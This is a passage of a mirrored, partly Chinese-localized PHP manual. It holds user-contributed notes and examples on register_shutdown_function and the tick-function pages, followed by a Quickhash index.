$current_page .= $_SERVER['QUERY_STRING'] ? '?'.htmlspecialchars($_SERVER['QUERY_STRING'], ENT_QUOTES, 'UTF-8') : '';

// Set previous page at the end
register_shutdown_function(function ($current_page) {
    $_SESSION['previous_page'] = $current_page;
}, $current_page);
?>
Tim 01-Nov-2013 04:35
register_shutdown_function seems to be immune to whatever value was set with set_time_limit or the max_execution_time value defined in php.ini.
<?php
function asdf() {
    echo microtime(true) . '<br>';
    sleep(1);
    echo microtime(true) . '<br>';
    sleep(1);
    echo microtime(true) . '<br>';
}
register_shutdown_function('asdf');
set_time_limit(1);

while(true) {}
?>
The output is three lines.
matteosistisette at gmail dot com 13-Apr-2013 05:42
In PHP 5.1.6 things don't work as described here.

The truth is that connection_status() just always returns 0 whether or not the client has aborted (e.g. the user hit the stop button), and that (consistently with this) the registered shutdown function will only be called on exit, but NOT when the connection is aborted from the user.

That is, PHP does NOT detect when the connection is aborted.
alexyam at live dot com 08-Apr-2012 03:50
When using php-fpm, fastcgi_finish_request() should be used instead of register_shutdown_function() and exit()

For example, under nginx and php-fpm 5.3+, this will make browsers wait 10 seconds to show output:

<?php
    echo "You have to wait 10 seconds to see this.<br>";
    register_shutdown_function('shutdown');
    exit;
    function shutdown(){
        sleep(10);
        echo "Because exit() doesn't terminate php-fpm calls immediately.<br>";
    }
?>

This doesn't:

<?php
    echo "You can see this from the browser immediately.<br>";
    fastcgi_finish_request();
    sleep(10);
    echo "You can't see this form the browser.";
?>
david dot schueler at tel-billig dot de 11-Nov-2010 04:51
I had a problem when forking a child process and accessing the variables by using the "global" keyword in the shutdown function.
So i used another way for getting the variables to the shutdown function: I passed them by reference.

Example:
<?php
function shutdown_function (&$test) {
    echo __FUNCTION__.'(): $test = '.$test."\n";
}

$test = 1;
register_shutdown_function('shutdown_function', &$test);
echo '$test = '.$test."\n";

// do some stuff and change the variable values
$test = 2;

// now the shutdown function gets called
exit(0);
?>

Maybe tis helps someone. (I'm using PHP 5.2.11)
emanueledelgrande ad email dot it 19-Sep-2010 07:53
A lot of useful services may be delegated to this useful trigger.
It is very effective because it is executed at the end of the script but before any object destruction, so all instantiations are still alive.

Here's a simple shutdown events manager class which allows to manage either functions or static/dynamic methods, with an indefinite number of arguments without using any reflection, availing on a internal handling through func_get_args() and call_user_func_array() specific functions:

<?php
// managing the shutdown callback events:
class shutdownScheduler {
    private $callbacks; // array to store user callbacks

    public function __construct() {
        $this->callbacks = array();
        register_shutdown_function(array($this, 'callRegisteredShutdown'));
    }
    public function registerShutdownEvent() {
        $callback = func_get_args();

        if (empty($callback)) {
            trigger_error('No callback passed to '.__FUNCTION__.' method', E_USER_ERROR);
            return false;
        }
        if (!is_callable($callback[0])) {
            trigger_error('Invalid callback passed to the '.__FUNCTION__.' method', E_USER_ERROR);
            return false;
        }
        $this->callbacks[] = $callback;
        return true;
    }
    public function callRegisteredShutdown() {
        foreach ($this->callbacks as $arguments) {
            $callback = array_shift($arguments);
            call_user_func_array($callback, $arguments);
        }
    }
    // test methods:
    public function dynamicTest() {
        echo '_REQUEST array is '.count($_REQUEST).' elements long.<br />';
    }
    public static function staticTest() {
        echo '_SERVER array is '.count($_SERVER).' elements long.<br />';
    }
}
?>

A simple application:

<?php
// a generic function
function say($a = 'a generic greeting', $b = '') {
    echo "Saying {$a} {$b}<br />";
}

$scheduler = new shutdownScheduler();

// schedule a global scope function:
$scheduler->registerShutdownEvent('say', 'hello!');

// try to schedule a dyamic method:
$scheduler->registerShutdownEvent(array($scheduler, 'dynamicTest'));
// try with a static call:
$scheduler->registerShutdownEvent('scheduler::staticTest');

?>

It is easy to guess how to extend this example in a more complex context in which user defined functions and methods should be handled according to the priority depending on specific variables.

Hope it may help somebody.
Happy coding!
clover at fromru dot com 01-Jun-2010 02:17
If you register function that needs to be running last (for example, close database connection) - just register another shutdown function from shutdown function:
<?php
function test1(){
  register_shutdown_function('test_last');
}

function test2(){/*...*/}
function test3(){/*...*/}
function test_last(){/*...*/}

register_shutdown_function('test1');
register_shutdown_function('test2');
register_shutdown_function('test3');
?>

the script will call functions in correct order: test1, test2, test3, test_last
sander @ unity-x 12-May-2010 03:42
simple method to disconnect the client and continue processing:

<?php
function endOutput($endMessage){
    ignore_user_abort(true);
    set_time_limit(0);
    header("Connection: close");
    header("Content-Length: ".strlen($endMessage));
    echo $endMessage;
    echo str_repeat("\r\n", 10); // just to be sure
    flush();
}

// Must be called before any output
endOutput("thank you for visiting, have a nice day');

sleep(100);
mail("you@yourmail.com", "ping", "i'm here");
?>
jawsper at aximax dot nl 20-Apr-2010 05:21
Something found out during testing:

the ini auto_append_file will be included BEFORE the registered function(s) will be called.
Anonymous 30-Mar-2010 09:41
Note that in the various solutions presented here, a call to ob_start() at the begining of a script and a flush at the end will defeat any optimisation attempt to return large files in chunks (custom code or readfile). i.e. don't use ob_start if you are going to return large files you will simply bust the memory limit.
ravenswd at gmail dot com 21-Dec-2009 01:43
You may get the idea to call debug_backtrace or debug_print_backtrace from inside a shutdown function, to trace where a fatal error occurred. Unfortunately, these functions will not work inside a shutdown function.
Ant P. 02-Oct-2009 12:13
As of PHP 5.3.0, the last note about unpredictable working directory also applies to FastCGI, when previously it didn't.
Anonymous 17-Sep-2009 05:29
Note that if the handler function is private static it will never be called! It must be public!
michaeln at associationsplus dawt see eh 28-Aug-2009 02:52
This may seem obvious to many people, but don't register an object's __destruct() function as a shutdown function! In many instances, it will then call the destructor twice, most likely on an already destroyed object! For example, you might get this error:

PHP Warning:  mysqli::close() [<a href='function.mysqli-close'>function.mysqli-close</a>]: Couldn't fetch mysqli in /path/to/file.php

I saw docey's comment from 2006 in this very page where they do just that, and this more often than not cause problems!

It would be wise to look out for old code where someone has done that very thing then too!
Filip Dalge 16-Aug-2009 08:35
The following function register_close_function should reproduce the former php behavior of closing the connection before executing the shutdown handler, based on the code posted by sts at mail dot xubion dot hu. It does not work on any machine.

<?php
function register_close_function($func) {
  register_close_function::$func = $func;
  register_shutdown_function(array("register_close_function", "close"));
  ob_start();
}
class register_close_function {
  // just a container
  static $func;
  function close() {
    header("Connection: close");
    $size = ob_get_length();
    header("Content-Length: $size");
    ob_end_flush();
    flush();
    call_user_func(register_close_function::$func);
  }
}
?>
pgl at yoyo dot org 02-Aug-2009 02:25
You definitely need to be careful about using relative paths in after the shutdown function has been called, but the current working directory doesn't (necessarily) get changed to the web server's ServerRoot - I've tested on two different servers and they both have their CWD changed to '/' (which isn't the ServerRoot).

This demonstrates the behaviour:

<?php
function echocwd() { echo 'cwd: ', getcwd(), "\n"; }

register_shutdown_function('echocwd');
echocwd() and exit;
?>

Outputs:

cwd: /path/to/my/site/docroot/test
cwd: /

NB: CLI scripts are unaffected, and keep their CWD as the directory the script was called from.
cFreed at orange dot fr 14-Mar-2009 09:36
May be obvious for most people, but I spent time to clearly understand something which is only INDIRECTLY mentioned by the manual, so I hope this useful for someones.

Pay attention to the function prototype: the $function argument is a callback one (follow the link for more information).
This means that you must write this argument differently depending on the $function context:
. function-name, as a string, when it is a built-in or user-defined function
. array(class-name, method-name), when it is an object method
SonOfTron 05-Oct-2008 06:24
You can achieve similar results by using auto_append_file in the php.ini or .htaccess file:
(php.ini)
auto_append_file = /my-auto-append-file.php
(.htaccess)
php_value auto_append_file /my-auto-append-file.php
RLK 14-Sep-2008 02:26
Contrary to the the note that "headers are always sent" and some of the comments below - You CAN use header() inside of a shutdown function as you would anywhere else; when headers_sent() is false. You can do custom fatal handling this way:

<?php
ini_set('display_errors',0);
register_shutdown_function('shutdown');

$obj = new stdClass();
$obj->method();

function shutdown()
{
  if(!is_null($e = error_get_last()))
  {
    header('content-type: text/plain');
    print "this is not html:\n\n". print_r($e,true);
  }
}
?>
Fuzika 13-Aug-2007 05:27
Sinured's example of how to use a static method did not work for me.
But this did:

<?php
register_shutdown_function(array('theClass','theStaticMethod'));
?>

Hope this helps someone.

[EDIT by danbrown AT php DOT net: This example did not work for the author of this note because it is written for PHP 5.  The author was using PHP 4.]
Sinured 10-Aug-2007 06:26
You can use a static method of a class as a shutdown function without passing an instance. I think that doesn't make too much sense, however it's possible.

<?php
register_shutdown_function('someClass::someMethod');
?>

If this method is *NOT* static, then PHP will complain about an invalid callback instead of just emitting an E_STRICT error.
buraks78 at gmail dot com 01-Jul-2007 05:51
Read the post regarding the change of working directory to ServerRoot carefully. This means that require_once "path/to/script" (or similar constructs) with relative paths will not work in shutdown functions.
Ldkronos 25-Jan-2007 09:55
It's already been discussed on the zlib page ( http://www.php.net/zlib ), but hasn't been mention here...

When zlib compression is enabled, register_shutdown_function doesn't work properly. Anything output from your shutdown function will not be readable by the browser. Firefox just ignores it. IE6 will show you a blank page.

The workaround that worked for me is to add the following to the top of the script.
ini_set('zlib.output_compression', 0);
morphling at quick dot cz 30-Apr-2006 03:14
There is a note "Shutdown function is called during the script shutdown so headers are always already sent.", but my php 5.1 seems to act differently.
Example:
<?php
class Test {

    private $running;

    public function main() {
        $this->running = true;
        ob_start();
        error_reporting(E_ALL);
        register_shutdown_function(array($this, "clean_exit"));
        echo "Hello";
        // triggers E_ERROR
        $fatal->error();

        $this->running = false;
    }

    public function clean_exit() {
        if ($this->running) {
            header("Location: error.php");
        }
    }
}
$t = new Test();
$t->main();
?>
This example redirects you on error.php, this could be a simple way to handle E_ERROR.
dweingart at pobox dot com 13-Mar-2006 08:53
I have discovered a change in behavior from PHP 5.0.4 to PHP 5.1.2 when using a shutdown function in conjunction with an output buffering callback.

In PHP 5.0.4 (and earlier versions I believe) the shutdown function is called after the output buffering callback.

In PHP 5.1.2 (not sure when the change occurred) the shutdown function is called before the output buffering callback.

Test code:
<?php
function ob_callback($buf) {
    $buf .= '<li>' . __FUNCTION__ .'</li>';
    return $buf;
}

function shutdown_func() {
    echo '<li>' . __FUNCTION__ .'</li>';
}

ob_start('ob_callback');
register_shutdown_function('shutdown_func');
echo '<ol>';
?>

PHP 5.0.4:

1. ob_callback
2. shutdown_func

PHP 5.1.2:

1. shutdown_func
2. ob_callback
me at thomaskeller dot biz 11-Mar-2006 02:27
Well, it might be obvious, but one should remember that one cannot send any HTTP header in the shutdown callback.

Something like

<?php

function redirect()
{
     header("Location: myuri.php");
}

register_shutdown_function("redirect");

// do something useful here

?>

doesn't work and PHP sends out the popular "headers already sent" warning.

I tried to set a redirection target somewhere in the script, but wanted to make sure that it was only set/executed at the very end of the script, since my custom redirect function also cleaned any output buffers at that point. Well, no luck here =)
kenneth dot kalmer at gmail dot com 27-Jan-2006 09:26
I performed two tests on the register_shutdown_function() to see under what conditions it was called, and if a can call a static method from a class. Here are the results:

<?php
/**
 * Tests the shutdown function being able to call a static methods
 */
class Shutdown
{
    public static function Method ($mixed = 0)
    {
        // we need absolute
        $ap = dirname (__FILE__);
        $mixed = time () . " - $mixed\n";
        file_put_contents ("$ap/shutdown.log", $mixed, FILE_APPEND);
    }
}
// 3. Throw an exception
register_shutdown_function (array ('Shutdown', 'Method'), 'throw');
throw new Exception ('bla bla');

// 2. Use the exit command
//register_shutdown_function (array ('Shutdown', 'Method'), 'exit');
//exit ('exiting here...')

// 1. Exit normally
//register_shutdown_function (array ('Shutdown', 'Method'));
?>

To test simply leave one of the three test lines uncommented and execute. Executing bottom-up yielded:

1138382480 - 0
1138382503 - exit
1138382564 - throw

HTH
sezer yalcin 26-Dec-2005 09:11
re:codeslinger at compsalot dot com

fork() is actually creating 2 processes from one. So there is no surprise register_shutdown_function will be executed per each process.

I think you have reported this as a bug and now in php 5.1.0 when you exit from child process, it does not execute it. Well, what are you going to do if you have something to register for forked process?

I hope php will be more stable near soon!

codeslinger at compsalot dot com
03-Feb-2005 09:22
Here is a nice little surprise to keep in mind...

If you register a shutdown function for your main program.  And then you fork() a child.

Guess What?
When the child exits it will run the code that was intended for the main program.  This can be a really bad thing  ;-)

Happily there is a simple work-around.  All you need to do is to create a global variable such as:

$IamaChild = [TRUE | FALSE];

and have your shutdown function check the value...
http://livejournal.com/~sinde1/ 02-Dec-2005 04:49
If you want to do something with files in function, that registered in register_shutdown_function(), use ABSOLUTE paths to files instead of relative. Because when script processing is complete current working directory chages to ServerRoot (see httpd.conf)
Niels Ganser <php dot comment at depoll dot de> 22-Sep-2005 07:58
Just a quick note: from 5.0.5 on objects will be unloaded _before_ your shutdown function is called which means you can't use previously initiated objects (such as mysqli).

See bug 33772 for more information.
codeslinger at compsalot dot com 03-Feb-2005 09:22
Here is a nice little surprise to keep in mind...

If you register a shutdown function for your main program.  And then you fork() a child.

Guess What?
When the child exits it will run the code that was intended for the main program.  This can be a really bad thing  ;-)

Happily there is a simple work-around.  All you need to do is to create a global variable such as:

$IamaChild = [TRUE | FALSE];

and have your shutdown function check the value...
astrolox at lawyersonline dot co dot uk 18-Mar-2004 11:57
When using the register_shutdown_function command in php 4. The registered functions are called in the order that you register them.

This is important to note if you are doing database work using classes that register shutdown functions for themselves.

You must register the shutdown_functions in the order that you want things to shutdown. ( ie the database needs to shutdown last )

Example of what will not work but what you might expect to work :

<?php
class database {

        function database() {
                echo "connect to sql server -- (database :: constructor)<br>\n";
                register_shutdown_function( array( &$this, "phpshutdown" ) );
                $this->connected = 1;
        }

        function do_sql( $sql ) {
                if ( $this->connected == 1 ) {
                        echo "performing sql -- (database :: do_sql)<br>\n";
                } else {
                        echo " ERROR -- CAN NOT PERFORM SQL -- NOT CONNECTED TO SERVER -- (database :: do_sql)<br>\n";
                }
        }

        function phpshutdown() {
                echo "close connection to sql server -- <b>(database :: shutdown)</b><br>\n";
                $this->connected = 0;
        }
}

class table {

        function table( &$database, $name ) {
                $this->database =& $database;
                $this->name = $name;
                echo "read table data using database class -- name=$this->name -- (table :: constructor)<br>\n";
                register_shutdown_function( array( &$this, "phpshutdown" ) );
                $this->database->do_sql( "read table data" );
        }

        function phpshutdown() {
                echo "save changes to database -- name=$this->name -- <b>(table :: shutdown)</b><br>\n";
                $this->database->do_sql( "save table data" );
        }
}

$db =& new database();

$shoppingcard =& new table( &$db, "cart " );
?>

Output of the above example is :-

connect to sql server -- (database :: constructor)
read table data using database class -- name=cart -- (table :: constructor)
performing sql -- (database :: do_sql)
close connection to sql server -- (database :: shutdown)
save changes to database -- name=cart -- (table :: shutdown)
ERROR -- CAN NOT PERFORM SQL -- NOT CONNECTED TO SERVER -- (database :: do_sql)
Jim Smith 15-Mar-2004 04:17
I was trying to figure out how to pass parameters to the register_shutdown_function() since you cannot register a function with parameters and passing through globals is not appropriate. E.g. what I was trying to do was  <? register_shutdown_function("anotherfunction('parameter')") ?>
Turns out, the trick is to use create_function() to create a "function" that calls the desired function with static parameters.

<?php
$funtext="mail('u@ho.com','mail test','sent after shutdown');";
register_shutdown_function(create_function('',$funtext));
?>

Here's another example showing in-line logging and a post-execution version:

Before: in-process logging

<?php
function logit($message) {
   $oF=fopen('TEST.log', 'a');
   fwrite($oF,"$message\n");
   fclose($oF);
   sleep(5);  // so you can see the delay
}
print "loging";
logit("traditional execution");
print "logged";
exit;
?>
After:

<?php
function logit($message) {
   $forlater=create_function('',"loglater('$message');");
   register_shutdown_function($forlater);
}
function loglater($message) {
   $oF=fopen('TEST.log', 'a');
   fwrite($oF,"$message\n");
   fclose($oF);
   sleep(5);  // so you can see the delay
}
print "loging";
logit("delayed execution");
print "logged";
exit;
?>

In the 'before' example, the file is written (and the delay occurs) before the "logged" appears. In the 'after' example, the file is written after execution terminates.

Maybe it would be nice to add a parameter to the register_shutdown_function that does this automatically?
sts at mail dot xubion dot hu 15-Mar-2004 02:56
If you need the old (<4.1) behavior of register_shutdown_function you can achieve the same with "Connection: close" and "Content-Length: xxxx" headers if you know the exact size of the sent data (which can be easily caught with output buffering).
An example:
<?php
header("Connection: close");
ob_start();
phpinfo();
$size=ob_get_length();
header("Content-Length: $size");
ob_end_flush();
flush();
sleep(13);
error_log("do something in the background");
?>

The same will work with registered functions.
According to http spec, browsers should close the connection when they got the amount of data specified in Content-Length header. At least it works fine for me in IE6 and Opera7.
James Wyse (James [at] tastyspoon.com) 12-Feb-2004 08:49
Just a note to say that if your function uses paths relative to the script you are running (ie. for reading files, "../dir/" etc) then your function may not work correctly when registered as a shutdown function. I'm not sure where the 'working dir' IS when running a shutdown function but I find it best to use absolute paths ("/home/www/dir/").
www dot php dot net at spam dot monnard dot org 01-Dec-2003 10:26
Response to => vbwebprofi at gmx dot de 22-Nov-2003 03:12

You have to do a changement on the object to see the difference between = and =&

Here is your code modified to see the difference.
The modification of the code are essentially the var $Value_changed and the function change().
I have tested it under RedHat 9 with PHP 4.2.2

--8<--- cls_TEST.php --------------------------------------------->8--
<?php
class TEST {
    var $Value;
    var $Value_changed;

    // Constructor

    function TEST($in_Value = 0){
        // Register destructor
        register_shutdown_function(array(&$this, '_TEST'));

        $this->Value = $in_Value;
        $this->Value_changed = $in_Value;
        $this->_Log('TEST');
    }

    // Destructor
    function _TEST() {
        $this->_Log('_TEST');
    }

    // Private function
    function _Log($in_Msg) {
        $oF = fopen('/tmp/TEST.log', 'a');
        fwrite($oF, sprintf("%s : %-5s = %d ; %d\n",
                            date('Y-m-d H:i:s', time()),
                            $in_Msg,
                            $this->Value,
                            $this->Value_changed));
        fclose($oF);
    }

    // Function change()
    function change() {
        $this->Value_changed++;
        $this->_Log('change');
    }
}
?>
--8<--- test_TEST.php -------------------------------------------->8--
<?php
    // include class TEST
    include_once('cls_TEST.php');

    echo "New...<br>\n";
    $o1 =  new TEST(1);
    $o2 =& new TEST(2);
    # Strange declaration :
    $o3 &= new TEST(3);

    echo "Sleep...<br>\n";
    sleep(5);

    echo "Change...<br>\n";
    $o1->change();
    $o2->change();
    # The following line doesn't work !
    #$o3->change();

    echo "Sleep...<br>\n";
    sleep(5);

    echo "End.";
?>
--8<-------------------------------------------------------------->8--

It should produce a content like this in the file, specified in the _Log function :

2003-12-02 04:22:55 : TEST  = 1 ; 1
2003-12-02 04:22:55 : TEST  = 2 ; 2
2003-12-02 04:22:55 : TEST  = 3 ; 3
2003-12-02 04:23:01 : change = 1 ; 2
2003-12-02 04:23:01 : change = 2 ; 3
2003-12-02 04:23:06 : _TEST = 1 ; 1
2003-12-02 04:23:06 : _TEST = 2 ; 3
2003-12-02 04:23:06 : _TEST = 3 ; 3
phpmanual at NO_SPHAMnetebb dot com 15-Nov-2003 08:31
Given this code:

<?php
class CallbackClass {
    function CallbackFunction() {
        // refers to $this
    }

    function StaticFunction() {
        // doesn't refer to $this
    }
}

function NonClassFunction() {
}
?>

there appear to be 3 ways to set a callback function in PHP (using register_shutdown_function() as an example):

1: register_shutdown_function('NonClassFunction');

2: register_shutdown_function(array('CallbackClass', 'StaticFunction'));

3: $o =& new CallbackClass();
   register_shutdown_function(array($o, 'CallbackFunction'));

The following may also prove useful:

<?php
class CallbackClass {
    function CallbackClass() {
        register_shutdown_function(array(&$this, 'CallbackFunction')); // the & is important
    }

    function CallbackFunction() {
        // refers to $this
    }
}
?>
jules at sitepointAASASZZ dot com 01-Jul-2003 12:41
If your script exceeds the maximum execution time, and terminates thusly:

Fatal error: Maximum execution time of 20 seconds exceeded in - on line 12

The registered shutdown functions will still be executed.

I figured it was important that this be made clear!
php at spandex dot deleteme dot nildram dot co dot uk 28-Apr-2003 01:43
I've had immense trouble getting any of the examples of emulated destructors to work.  They always seemed to have a copy of the object just after initialisation.  Many people mention that the register_shutdown_function will take a copy of the object rather than a reference... and this can be cured with an ampersand.  If you look in the PEAR docs for the way they emulate destructors you'll find that you also need one before the "new" statement when you create an instance of your object.  There's an editors note above that mentions this too... but I thought I'd collect it all here in one example that really works.  Honest... I'm using it (PHP 4.3.1):

<?php
class Object {
    var $somevar = "foo";

    function Object() {
        $somevar = "bar";
        register_shutdown_function(array(&$this, 'MyDestructor'));
    }

    function MyDestructor() {
        # Do useful destructor stuff here...
    }
}

# Now create the object as follows and then 'MyDestructor'
# will be called on shutdown and will be able to operate on
# the object as it ended up... not as it started!
$my_object =& new Object;
?>
kwazy at php dot net 29-Jan-2003 07:53
One more note to add about register_shutdown_function and objects.

It is possible to self-register the object from the constructor, but even using the syntax:
register_shutdown_function(array(&$this,'shutdown'))

will only result in the function being called with the object in the "just initialized" state, any changes made to the object after construction will not be there when the script actually exits.

But if you use:

<?php
$obj = new object();
register_shutdown_function(array(&$obj,'shutdown'));
?>

the object method 'shutdown' will be called with the current state of the object intact.

[Editor's note: The explanation for this behavior is really simple.
"$obj = new object()" creates a copy of the object which you can refer with $this in the object's constructor.
To solve this "problem" you should use "$obj = &new object()" which assign the reference to the current object.]
23-Oct-2002 09:35
When using CLI ( and perhaps command line without CLI - I didn't test it) the shutdown function doesn't get called if the process gets a SIGINT or SIGTERM. only the natural exit of PHP calls the shutdown function.
To overcome the problem compile the command line interpreter with --enable-pcntl and add this code:

<?php
function sigint()
{
    exit;
}
pcntl_signal(SIGINT, 'sigint');
pcntl_signal(SIGTERM, 'sigint');
?>

This way when the process recieves one of those signals, it quits normaly, and the shutdown function gets called.
Note: using the pcntl function in web server envoirment is considered problematic, so if you are writing a script that runs both from the command line and from the server, you should put some conditional code around that block that identifies wheater this is a command line envoirment or not.
adam at saki dot com dot au 20-Aug-2002 03:38
When using objects the syntax register_shutdown_function(array($object, 'function')) will take a copy of the object at the time of the call.  This means you cannot do this in the constructor and have it correctly destruct objects.  The alternative is to use register_shutdown_function(array(&$object, 'function')) where the ampersand passes the reference and not the copy.  This appears to work fine.
priebe at mi-corporation dot com 14-Mar-2002 08:25
Note that register_shutdown_function() does not work under Apache on Windows platforms.  Your shutdown function will be called, but the connection will not close until the processing is complete.  Zend tells me that this is due to a difference between Apache for *nix and Apache for Windows.

I'm seeing similar behavior under IIS (using php4isapi).


Register a function for execution on each tick

  • ? register_shutdown_function
  • unregister_tick_function ?
  • PHP Manual
  • 函数处理 函数
  • Register a function for execution on each tick

register_tick_function

(PHP 4 >= 4.0.3, PHP 5, PHP 7)

register_tick_function — Register a function for execution on each tick

说明

register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool

Registers the given function to be executed when a tick is called.

参数

function

The function name as a string, or an array consisting of an object and a method.

arg

...

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 register_tick_function() example

<?php
declare(ticks=1);

// using a function as the callback
register_tick_function('my_function', true);

// using an object->method
$object = new my_class();
register_tick_function(array(&$object, 'my_method'), true);
?>

更新日志

版本 | 说明
5.3.0 | Ticks are now supported on threaded web server modules.

注释

Warning

register_tick_function() should not be used with threaded web server modules with PHP 5.2 or lower.

参见

  • declare
  • unregister_tick_function() - De-register a function for execution on each tick

User Contributed Notes

Peter Featherstone 08-Jun-2017 09:03
Due to an implementation bug, the declare(ticks=1) directive leaked into different compilation units prior to PHP 7.0. This is not how declare() directives, which are per-file or per-scope, are supposed to work.

Therefore there are different implementations between PHP 5.6 and the correct implementation has been added in PHP 7.0. This means the below script will return different results

#index.php

<?php

declare(ticks=1);
$count = 0;

register_tick_function('ticker');
function ticker() {
  global $count;
  $count++;
}

?>

#inc.php

<?php

$baz = "baz";
$qux = "qux";

?>

Running php index.php in the terminal gives:

    PHP 5.6 - 7
    PHP 7.0 - 5
Carlos Granados 04-Jan-2017 05:59
A working example with variable input for validating the asymptotic analysis of your algorithm:

<?php

$n = 1000; // Size of your input

declare(ticks=1);

class Counter {
    private $counter = 0;

    public function increase()
    {
        $this->counter++;
    }

    public function print()
    {
        return $this->counter;
    }
}

$obj = new Counter;

register_tick_function([&$obj, 'increase'], true);

for ($i = 0; $i < 100; $i++)
{
    $a = 3;
}

// unregister_tick_function([&$obj, 'increase']);
// Not sure how to de-register, you can use static methods and members in the Counter instead.

var_dump("Number of basic low level operations: " . $obj->print());

?>
Ahmad Samiei 30-Aug-2013 03:41
put in in your index to find where your code exited. find die o exit

function shutdown_find_exit()
{
var_dump($GLOBALS['dbg_stack']);
}
register_shutdown_function('shutdown_find_exit');
function write_dbg_stack()
{
$GLOBALS['dbg_stack'] = debug_backtrace();
}
register_tick_function('write_dbg_stack');
declare(ticks=1);
rob dot eyre at gmail dot com 22-Jul-2011 05:19
It looks like register_tick_function() can accept an anonymous function, but unregister_tick_function() cannot
Jeremy 21-Jun-2007 11:03
I tried the following on an IIS 6/PHP 5 machine:

<?php

    set_time_limit(0);

    function profiler($return = false)
    {
        static $m = 0;
        if($return) return $m . " bytes";
        if(($mem = memory_get_usage()) > $m) $m = $mem;
    }

    register_tick_function('profiler');
    declare(ticks = 1);

    $numbers = array();
    for($i=0; $i<1000000; $i++)
    {
        print($i . "<br />");
    }

    print(profiler(true));

?>

...and got the following errors:

1) PHP has encountered an Unhandled Exception Code -1073741674 at 0435EC5A
2) PHP has encountered an Access Violation at 02727891
3) PHP has encountered an Access Violation at 02727879
4) PHP has encountered an Access Violation at 00000000

So far the code hasn't crashed the web server, but like the warning says, "register_tick_function() should not be used with threaded web server modules. Ticks are not working in ZTS mode and may crash your web server."

Strangely enough, the code does execute successfully every once in a while.


De-register a function for execution on each tick

  • ? register_tick_function
  • Quickhash ?
  • PHP Manual
  • 函数处理 函数
  • De-register a function for execution on each tick

unregister_tick_function

(PHP 4 >= 4.0.3, PHP 5, PHP 7)

unregister_tick_function — De-register a function for execution on each tick

说明

unregister_tick_function ( string $function_name ) : void

De-registers the function named by function_name so it is no longer executed when a tick is called.

参数

function_name

The function name, as a string.

返回值

没有返回值。

参见

  • register_tick_function() - Register a function for execution on each tick

User Contributed Notes

ElectricHeart at ya dot ru 04-May-2016 09:14
You can unregister closure-function:

declare(ticks = 1000);
$startTime = microtime(true);
$tick = true;
$closure = function () use ($startTime, &$tick) {
    if (((microtime(true) - $startTime) > 5) && $tick) {
        $tick = false;
        throw new \Exception('Time to run code left');
    }
};

try {
            register_tick_function($closure);
            //do your code
            $result = 1;
            return $result;
        } catch (\Exception $e) {
            throw $e;
        } finally {
            unregister_tick_function($closure);
}
Greg 27-Jul-2012 12:02
It's not so clear, but, at least as of PHP 5.3.13, you cannot use this inside of the handler itself as it will throw an error:

<?php

declare(ticks=2);

function tick_handler()
{
    unregister_tick_function('tick_handler');
}

register_tick_function('tick_handler');

set_time_limit(0);
usleep(500000);

?>

results in:

warning: unregister_tick_function(): Unable to delete tick function executed at the moment in [filename]

So if you want to unregister it must be done outside of the handler.
rob dot eyre at gmail dot com 22-Jul-2011 05:22
Note that unregister_tick_function() can also accept a callback in the form of an array (either static, like array($className, $methodName) or instance, like array(&$this, $methodName)).

It cannot accept an anonymous function, however.


Quickhash

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
  • 预定义常量
  • 范例
  • QuickHashIntSet — The QuickHashIntSet class
    • QuickHashIntSet::add — This method adds a new entry to the set
    • QuickHashIntSet::__construct — Creates a new QuickHashIntSet object
    • QuickHashIntSet::delete — This method deletes an entry from the set
    • QuickHashIntSet::exists — This method checks whether a key is part of the set
    • QuickHashIntSet::getSize — Returns the number of elements in the set
    • QuickHashIntSet::loadFromFile — This factory method creates a set from a file
    • QuickHashIntSet::loadFromString — This factory method creates a set from a string
    • QuickHashIntSet::saveToFile — This method stores an in-memory set to disk
    • QuickHashIntSet::saveToString — This method returns a serialized version of the set
  • QuickHashIntHash — The QuickHashIntHash class
    • QuickHashIntHash::add — This method adds a new entry to the hash
    • QuickHashIntHash::__construct — Creates a new QuickHashIntHash object
    • QuickHashIntHash::delete — This method deletes am entry from the hash
    • QuickHashIntHash::exists — This method checks whether a key is part of the hash
    • QuickHashIntHash::get — This method retrieves a value from the hash by its key
    • QuickHashIntHash::getSize — Returns the number of elements in the hash
    • QuickHashIntHash::loadFromFile — This factory method creates a hash from a file
    • QuickHashIntHash::loadFromString — This factory method creates a hash from a string
    • QuickHashIntHash::saveToFile — This method stores an in-memory hash to disk
    • QuickHashIntHash::saveToString — This method returns a serialized version of the hash
    • QuickHashIntHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist
    • QuickHashIntHash::update — This method updates an entry in the hash with a new value
  • QuickHashStringIntHash — The QuickHashStringIntHash class
    • QuickHashStringIntHash::add — This method adds a new entry to the hash
    • QuickHashStringIntHash::__construct — Creates a new QuickHashStringIntHash object
    • QuickHashStringIntHash::delete — This method deletes am entry from the hash
    • QuickHashStringIntHash::exists — This method checks whether a key is part of the hash
    • QuickHashStringIntHash::get — This method retrieves a value from the hash by its key
    • QuickHashStringIntHash::getSize — Returns the number of elements in the hash
    • QuickHashStringIntHash::loadFromFile — This factory method creates a hash from a file
    • QuickHashStringIntHash::loadFromString — This factory method creates a hash from a string
    • QuickHashStringIntHash::saveToFile — This method stores an in-memory hash to disk
    • QuickHashStringIntHash::saveToString — This method returns a serialized version of the hash
    • QuickHashStringIntHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist
    • QuickHashStringIntHash::update — This method updates an entry in the hash with a new value
  • QuickHashIntStringHash — The QuickHashIntStringHash class
    • QuickHashIntStringHash::add — This method adds a new entry to the hash
    • QuickHashIntStringHash::__construct — Creates a new QuickHashIntStringHash object
    • QuickHashIntStringHash::delete — This method deletes am entry from the hash
    • QuickHashIntStringHash::exists — This method checks whether a key is part of the hash
    • QuickHashIntStringHash::get — This method retrieves a value from the hash by its key
    • QuickHashIntStringHash::getSize — Returns the number of elements in the hash
    • QuickHashIntStringHash::loadFromFile — This factory method creates a hash from a file
    • QuickHashIntStringHash::loadFromString — This factory method creates a hash from a string
    • QuickHashIntStringHash::saveToFile — This method stores an in-memory hash to disk
    • QuickHashIntStringHash::saveToString — This method returns a serialized version of the hash
    • QuickHashIntStringHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist
    • QuickHashIntStringHash::update — This method updates an entry in the hash with a new value

User Contributed Notes

There are no user contributed notes for this page.


简介

